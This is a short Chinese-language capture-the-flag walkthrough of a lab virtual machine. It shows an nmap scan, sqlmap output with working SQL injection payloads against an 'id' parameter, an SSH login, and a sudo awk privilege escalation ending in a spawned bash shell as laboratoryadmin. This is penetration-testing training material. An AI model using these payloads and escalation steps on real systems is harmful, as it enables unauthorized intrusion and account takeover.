kali@kali [~] ➜ sudo nmap -sT -p- --min-rate 1000 192.168.1.26 [23:43:47] [sudo] kali 的密码： Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-20 23:44 CST Nmap scan report for 192.168.1.26 Host is up (0.00098s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:FC:59:B0 (Oracle VirtualBox virtual NIC)
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 23:57:52 /2025-01-20/
[23:57:52] [INFO] resuming back-end DBMS 'mysql' [23:57:52] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1' AND 4022=4022 AND 'lVHX'='lVHX
Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 1319 FROM (SELECT(SLEEP(5)))uOrx) AND 'WaFN'='WaFN
Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: id=1' UNION ALL SELECT CONCAT(0x7171707671,0x436a434b6e7364716671516d4247756c4453476245614a7264596974696d567758686c586c505345,0x71626b6b71),NULL,NULL-- - --- [23:57:52] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (focal or eoan) web application technology: Apache 2.4.41 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [23:57:52] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.1.26'
System information as of Mon 20 Jan 2025 04:03:14 PM UTC
System load: 0.45 Usage of /: 39.6% of 9.75GB Memory usage: 16% Swap usage: 0% Processes: 126 Users logged in: 0 IPv4 address for enp0s3: 192.168.1.26 IPv6 address for enp0s3: 2409:8a70:2a31:d8b0:a00:27ff:fefc:59b0
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s just raised the bar for easy, resilient and secure K8s cluster deployment.
* Introducing Expanded Security Maintenance for Applications. Receive updates to over 25,000 software packages with your Ubuntu Pro subscription. Free for personal use.
https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
48 updates can be applied immediately. To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status
New release '22.04.5 LTS' available. Run 'do-release-upgrade' to upgrade to it.
Last login: Mon Jan 20 16:02:14 2025 from 192.168.1.4 pmccentral@laboratoryuser:~$ whoami pmccentral
拿到一个用户，但是很遗憾，没有flag
提权
1 2 3 4 5 6 7
pmccentral@laboratoryuser:~$ sudo -l [sudo] password for pmccentral: Matching Defaults entries for pmccentral on laboratoryuser: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pmccentral may run the following commands on laboratoryuser: (laboratoryadmin) /usr/bin/awk
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
$ python3 Python 3.8.10 (default, Nov 7 2024, 13:10:47) [GCC 9.4.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> exit() $ python3 -c 'import pty; pty.spawn("/bin/bash")' laboratoryadmin@laboratoryuser:/home/pmccentral$ whoami laboratoryadmin laboratoryadmin@laboratoryuser:/home/pmccentral$
